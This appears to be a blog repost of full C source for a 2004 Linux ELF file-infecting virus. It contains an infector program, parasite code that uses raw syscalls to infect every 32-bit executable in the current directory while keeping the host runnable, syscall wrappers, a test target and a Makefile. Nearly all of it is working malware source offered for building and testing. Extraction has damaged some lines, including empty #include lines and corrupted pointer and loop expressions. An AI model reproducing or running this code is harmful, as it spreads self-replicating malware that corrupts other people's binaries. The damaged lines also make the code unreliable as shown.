/*
* gei - ELF Infector v0.0.2 (2004)
* written by grip2
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include "gvirus.h"
#define PAGE_SIZE 4096
#define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1))
static int elf_infect(const char *filename,
void *para_code,
unsigned int para_code_size,
unsigned long retaddr_addr_offset);
int main(int argc, char *argv[])
{
#define MAX_FILENAME_LEN 256
char backup[MAX_FILENAME_LEN*4];
char restore[MAX_FILENAME_LEN*4];
if (argc != 2) {
fprintf(stderr,
"gei - ELF Infector v0.0.2 written by grip2
fprintf(stderr, "Usage: %s
return 1;
}
if (strcmp(argv[1], "-l") == 0) {
fprintf(stderr, "Parasite code length: %d\n",
¶site_code_end - ¶site_code);
return 1;
}
if (strlen(argv[1]) > MAX_FILENAME_LEN) {
fprintf(stderr, "filename too long!\n");
return 1;
}
sprintf(backup, "cp -f %s .backup.%s\n", argv[1], argv[1]);
sprintf(restore, "cp -f .backup.%s %s\n", argv[1], argv[1]);
system(backup);
if (elf_infect(argv[1], ¶site_code,
¶site_code_end - ¶site_code,
PARACODE_RETADDR_ADDR_OFFSET) < 0) {
system(restore);
return 1;
}
return 0;
}
static int elf_infect(const char *filename,
void *para_code,
unsigned int para_code_size,
unsigned long retaddr_addr_offset)
{
int fd = -1;
int tmp_fd = -1;
Elf32_Ehdr *ehdr = NULL;
Elf32_Phdr *phdr;
Elf32_Shdr *shdr;
int i;
int txt_index;
struct stat stat;
int align_code_size;
unsigned long org_entry;
void *new_code_pos;
int tmp_flag;
int size;
unsigned char tmp_para_code[PAGE_SIZE];
char *tmpfile;
tmpfile = tempnam(NULL, "infector");
fd = open(filename, O_RDWR);
if (fd == -1) {
perror(filename);
goto err;
}
if (fstat(fd, &stat) == -1) {
perror("fstat");
goto err;
}
#ifndef NDEBUG
printf("file size: %lu\n", stat.st_size);
#endif
ehdr = mmap(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
if (ehdr == MAP_FAILED) {
perror("mmap ehdr");
goto err;
}
/* Check ELF magic-ident */
if (ehdr->e_ident[EI_MAG0] != 0x7f
|| ehdr->e_ident[EI_MAG1] != 'E'
|| ehdr->e_ident[EI_MAG2] != 'L'
|| ehdr->e_ident[EI_MAG3] != 'F'
|| ehdr->e_ident[EI_CLASS] != ELFCLASS32
|| ehdr->e_ident[EI_DATA] != ELFDATA2LSB
|| ehdr->e_ident[EI_VERSION] != EV_CURRENT
|| ehdr->e_type != ET_EXEC
|| ehdr->e_machine != EM_386
|| ehdr->e_version != EV_CURRENT
) {
fprintf(stderr, "File type not supported\n");
goto err;
}
#ifndef NDEBUG
printf("e_phoff: %08x\ne_shoff: %08x\n",
ehdr->e_phoff, ehdr->e_shoff);
printf("e_phentsize: %08x\n", ehdr->e_phentsize);
printf("e_phnum: %08x\n", ehdr->e_phnum);
printf("e_shentsize: %08x\n", ehdr->e_shentsize);
printf("e_shnum: %08x\n", ehdr->e_shnum);
#endif
align_code_size = PAGE_ALIGN(para_code_size);
/* Get program header and section header start address */
phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);
/* Locate the text segment */
txt_index = 0;
while (1) {
if (txt_index == ehdr->e_phnum - 1) {
fprintf(stderr, "Invalid e_phnum, text segment not found.\n");
goto err;
}
if (phdr[txt_index].p_type == PT_LOAD
&& phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text segment */
#ifndef NDEBUG
printf("text segment file offset: %u\n", phdr[txt_index].p_offset);
#endif
if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size
> phdr[txt_index+1].p_vaddr) {
fprintf(stderr, "Better luck next file :-)\n");
goto err;
}
break;
}
txt_index++;
}
/* Modify the entry point of the ELF */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
new_code_pos =
(void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz;
/* Increase the p_filesz and p_memsz of text segment
* for new code */
phdr[txt_index].p_filesz += align_code_size;
phdr[txt_index].p_memsz += align_code_size;
for (i = 0; i <>e_phnum; i++)
if (phdr[i].p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr)
phdr[i].p_offset += align_code_size;
tmp_flag = 0;
for (i = 0; i <>e_shnum; i++) {
if (shdr[i].sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) {
shdr[i].sh_offset += align_code_size;
if (!tmp_flag && i) { /* associating the new_code to the last
* section in the text segment */
shdr[i-1].sh_size += align_code_size;
tmp_flag = 1;
printf("[%d sections patched]\n", i-1);
}
}
}
/* Increase p_shoff in the ELF header */
ehdr->e_shoff += align_code_size;
/* Make a new file */
tmp_fd = open(tmpfile, O_WRONLY|O_CREAT, stat.st_mode);
if (tmp_fd == -1) {
perror("open");
goto err;
}
size = new_code_pos - (void *) ehdr;
if (write(tmp_fd, ehdr, size) != size) {
perror("write");
goto err;
}
memcpy(tmp_para_code, para_code, para_code_size);
memcpy(tmp_para_code + retaddr_addr_offset,
&org_entry, sizeof(org_entry));
if (write(tmp_fd, tmp_para_code, align_code_size) != align_code_size) {
perror("write");
goto err;
}
if (write(tmp_fd, (void *) ehdr + size, stat.st_size - size)
!= stat.st_size - size) {
perror("write");
goto err;
}
close(tmp_fd);
munmap(ehdr, stat.st_size);
close(fd);
if (rename(tmpfile, filename) == -1) {
perror("rename");
goto err;
}
return 0;
err:
if (tmp_fd != -1)
close(tmp_fd);
if (ehdr)
munmap(ehdr, stat.st_size);
if (fd != -1)
close(fd);
return -1;
}
------------------------------ g-elf-infector.c ------------------------------
------------------------------ gvirus.h ------------------------------
#ifndef _G2_PARASITE_CODE_
#define _G2_PARASITE_CODE_
#ifndef NDEBUG
#define PARACODE_RETADDR_ADDR_OFFSET 1704
#else
#define PARACODE_RETADDR_ADDR_OFFSET 1232
#endif
void parasite_code(void);
void parasite_code_end(void);
#endif
------------------------------ gvirus.h ------------------------------
------------------------------ gvirus.c ------------------------------
/*
* virus code in C (2004)
* written by grip2
*/
#include "gsyscall.h"
#include "gvirus.h"
#include
#define PAGE_SIZE 4096
#define PAGE_ALIGN(a) (((a) + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1))
#ifndef NDEBUG
#define PARACODE_LENGTH 1744
#else
#define PARACODE_LENGTH 1248
#endif
#ifndef NDEBUG
#define V_DEBUG_WRITE(...) \
do {\
g_write(__VA_ARGS__);\
} while(0)
#else
#define V_DEBUG_WRITE(...)
#endif
static inline int infect_virus(
const char *file,
void *v_code,
unsigned int v_code_size,
unsigned long v_retaddr_addr_offset)
{
int fd = -1;
int tmp_fd = -1;
Elf32_Ehdr *ehdr = NULL;
Elf32_Phdr *phdr;
Elf32_Shdr *shdr;
int i;
int txt_index;
struct stat stat;
int align_code_size;
unsigned long org_entry;
void *new_code_pos;
int tmp_flag;
int size;
unsigned char tmp_v_code[PAGE_SIZE];
char tmpfile[32] = {'/','t','m','p','/','.','g','v','i','r','u','s','\0'};
#ifndef NDEBUG
char err_type[32] = {'f','i','l','e',' ','t','y','p','e',' ','n','o','t',' ',
's','u','p','p','o','r','t','e','d','\n','\0'};
char luck[32] = {'B','e','t','t','e','r',' ','l','u','c','k',' ',
'n','e','x','t',' ','f','i','l','e','\n','\0'};
#endif
fd = g_open(file, O_RDWR, 0);
if (fd == -1) {
goto err;
}
if (g_fstat(fd, &stat) == -1) {
goto err;
}
ehdr = g_mmap2(0, stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0);
if (ehdr == MAP_FAILED) {
goto err;
}
/* Check ELF magic-ident */
if (ehdr->e_ident[EI_MAG0] != 0x7f
|| ehdr->e_ident[EI_MAG1] != 'E'
|| ehdr->e_ident[EI_MAG2] != 'L'
|| ehdr->e_ident[EI_MAG3] != 'F'
|| ehdr->e_ident[EI_CLASS] != ELFCLASS32
|| ehdr->e_ident[EI_DATA] != ELFDATA2LSB
|| ehdr->e_ident[EI_VERSION] != EV_CURRENT
|| ehdr->e_type != ET_EXEC
|| ehdr->e_machine != EM_386
|| ehdr->e_version != EV_CURRENT
) {
V_DEBUG_WRITE(1, &err_type, sizeof(err_type));
goto err;
}
align_code_size = PAGE_ALIGN(v_code_size);
/* Get program header and section header start address */
phdr = (Elf32_Phdr *) ((unsigned long) ehdr + ehdr->e_phoff);
shdr = (Elf32_Shdr *) ((unsigned long) ehdr + ehdr->e_shoff);
/* Locate the text segment */
txt_index = 0;
while (1) {
if (txt_index == ehdr->e_phnum - 1)
goto err;
if (phdr[txt_index].p_type == PT_LOAD
&& phdr[txt_index].p_flags == (PF_R|PF_X)) { /* text segment */
if (phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz + align_code_size
> phdr[txt_index+1].p_vaddr) {
V_DEBUG_WRITE(1, &luck, sizeof(luck));
goto err;
}
break;
}
txt_index++;
}
/* Modify the entry point of the ELF */
org_entry = ehdr->e_entry;
ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;
new_code_pos =
(void *) ehdr + phdr[txt_index].p_offset + phdr[txt_index].p_filesz;
/* Increase the p_filesz and p_memsz of text segment
* for new code */
phdr[txt_index].p_filesz += align_code_size;
phdr[txt_index].p_memsz += align_code_size;
for (i = 0; i <>e_phnum; i++)
if (phdr[i].p_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr)
phdr[i].p_offset += align_code_size;
tmp_flag = 0;
for (i = 0; i <>e_shnum; i++) {
if (shdr[i].sh_offset >= (unsigned long) new_code_pos - (unsigned long) ehdr) {
shdr[i].sh_offset += align_code_size;
if (!tmp_flag && i) { /* associating the new_code to the last
* section in the text segment */
shdr[i-1].sh_size += align_code_size;
tmp_flag = 1;
}
}
}
/* Increase p_shoff in the ELF header */
ehdr->e_shoff += align_code_size;
/* Make a new file */
tmp_fd = g_open(tmpfile, O_WRONLY|O_CREAT|O_TRUNC, stat.st_mode);
if (tmp_fd == -1) {
goto err;
}
size = new_code_pos - (void *) ehdr;
if (g_write(tmp_fd, ehdr, size) != size)
goto err;
__memcpy(tmp_v_code, v_code, v_code_size);
__memcpy(tmp_v_code + v_retaddr_addr_offset, &org_entry, sizeof(org_entry));
if (g_write(tmp_fd, tmp_v_code, align_code_size) != align_code_size) {
goto err;
}
if (g_write(tmp_fd, (void *) ehdr + size, stat.st_size - size)
!= stat.st_size - size) {
goto err;
}
g_close(tmp_fd);
g_munmap(ehdr, stat.st_size);
g_close(fd);
if (g_rename(tmpfile, file) == -1) {
goto err;
}
return 0;
err:
if (tmp_fd != -1)
g_close(tmp_fd);
if (ehdr)
g_munmap(ehdr, stat.st_size);
if (fd != -1)
g_close(fd);
return -1;
}
static inline void virus_code(void)
{
char dirdata[4096];
struct dirent *dirp;
int curfd;
int nbyte, c;
unsigned long para_code_start_addr;
__asm__ volatile (
"push %%eax\n\t"
"push %%ecx\n\t"
"push %%edx\n\t"
::);
char curdir[2] = {'.', 0};
char newline = '\n';
curdir[0] = '.';
curdir[1] = 0;
newline = '\n';
if ((curfd = g_open(curdir, O_RDONLY, 0)) < 0)
goto out;
/* Get start address of virus code */
__asm__ volatile (
"jmp get_start_addr\n"
"infect_start:\n\t"
"popl %0\n\t"
:"=m" (para_code_start_addr)
:);
para_code_start_addr -= PARACODE_RETADDR_ADDR_OFFSET - 1;
/* Infecting */
while ((nbyte = g_getdents(curfd, (struct dirent *)
&dirdata, sizeof(dirdata))) > 0) {
c = 0;
dirp = (struct dirent *) &dirdata;
do {
V_DEBUG_WRITE(1, dirp->d_name, dirp->d_reclen - (unsigned long)
&(((struct dirent *) 0)->d_name));
V_DEBUG_WRITE(1, &newline, sizeof(newline));
infect_virus(dirp->d_name,
(void *) para_code_start_addr,
PARACODE_LENGTH,
PARACODE_RETADDR_ADDR_OFFSET);
c += dirp->d_reclen;
if (c >= nbyte)
break;
dirp = (struct dirent *)((char *)dirp + dirp->d_reclen);
} while (1);
}
g_close(curfd);
out:
__asm__ volatile (
"popl %%edx\n\t"
"popl %%ecx\n\t"
"popl %%eax\n\t"
"addl $0x102c, %%esp\n\t"
"popl %%ebx\n\t"
"popl %%esi\n\t"
"popl %%edi\n\t"
"popl %%ebp\n\t"
"jmp return\n"
"get_start_addr:\n\t"
"call infect_start\n"
"return:\n\t"
"push $0xAABBCCDD\n\t" /* push ret_addr */
"ret\n"
::);
}
void parasite_code(void)
{
virus_code();
}
void parasite_code_end(void) {parasite_code();}
------------------------------ gvirus.c ------------------------------
------------------------------ gunistd.h ------------------------------
#ifndef _G2_UNISTD_
#define _G2_UNISTD_
#define g__syscall_return(type, res) \
do { \
if ((unsigned long)(res) >= (unsigned long)(-125)) { \
res = -1; \
} \
return (type) (res); \
} while (0)
#define g_syscall0(type,name) \
type g_##name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name)); \
g__syscall_return(type,__res); \
}
#define g_syscall1(type,name,type1,arg1) \
type g_##name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1))); \
g__syscall_return(type,__res); \
}
#define g_syscall2(type,name,type1,arg1,type2,arg2) \
type g_##name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2))); \
g__syscall_return(type,__res); \
}
#define g_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type g_##name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3))); \
g__syscall_return(type,__res); \
}
#define g_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type g_##name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4))); \
g__syscall_return(type,__res); \
}
#define g_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5) \
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5))); \
g__syscall_return(type,__res); \
}
#define g_syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
type5,arg5,type6,arg6) \
type g_##name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5,type6 arg6) \
{ \
long __res; \
__asm__ volatile ("push %%ebp ; movl %%eax,%%ebp ; movl %1,%%eax ; int $0x80 ; pop %%ebp" \
: "=a" (__res) \
: "i" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), \
"d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)), \
"0" ((long)(arg6))); \
g__syscall_return(type,__res); \
}
#endif /* _G2_UNISTD_ */
------------------------------ gunistd.h ------------------------------
------------------------------ gsyscall.h ------------------------------
#ifndef _G2_SYSCALL_
#define _G2_SYSCALL_
#include
#include
#include
#include
#include "gunistd.h"
#define NULL 0
struct dirent {
long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[256]; /* We must not include limits.h! */
};
struct stat {
unsigned long st_dev;
unsigned long st_ino;
unsigned short st_mode;
unsigned short st_nlink;
unsigned short st_uid;
unsigned short st_gid;
unsigned long st_rdev;
unsigned long st_size;
unsigned long st_blksize;
unsigned long st_blocks;
unsigned long st_atime;
unsigned long st_atime_nsec;
unsigned long st_mtime;
unsigned long st_mtime_nsec;
unsigned long st_ctime;
unsigned long st_ctime_nsec;
unsigned long __unused4;
unsigned long __unused5;
};
static inline g_syscall3(int, write, int, fd, const void *, buf, off_t, count);
static inline g_syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count);
static inline g_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline g_syscall1(int, close, int, fd);
static inline g_syscall6(void *, mmap2, void *, addr, size_t, len, int, prot,
int, flags, int, fd, off_t, offset);
static inline g_syscall2(int, munmap, void *, addr, size_t, len);
static inline g_syscall2(int, rename, const char *, oldpath, const char *, newpath);
static inline g_syscall2(int, fstat, int, filedes, struct stat *, buf);
static inline void * __memcpy(void * to, const void * from, size_t n)
{
int d0, d1, d2;
__asm__ __volatile__(
"rep ; movsl\n\t"
"testb $2,%b4\n\t"
"je 1f\n\t"
"movsw\n"
"1:\ttestb $1,%b4\n\t"
"je 2f\n\t"
"movsb\n"
"2:"
: "=&c" (d0), "=&D" (d1), "=&S" (d2)
:"0" (n/4), "q" (n),"1" ((long) to),"2" ((long) from)
: "memory");
return (to);
}
#endif /* _G2_SYSCALL_ */
------------------------------ gsyscall.h ------------------------------
编译和测试程序
------------------------------ foo.c ------------------------------
#include
int main()
{
puts("real elf point");
return 0;
}
------------------------------ foo.c ------------------------------
------------------------------ Makefile ------------------------------
all: foo gei
gei: g-elf-infector.c gvirus.o
gcc -O2 $< gvirus.o -o gei -Wall -DNDEBUG
foo: foo.c
gcc $< -o foo
gvirus.o: gvirus.c
gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall -DNDEBUG
clean:
rm *.o -rf
rm foo -rf
rm gei -rf
------------------------------ Makefile ------------------------------
没有评论:
发表评论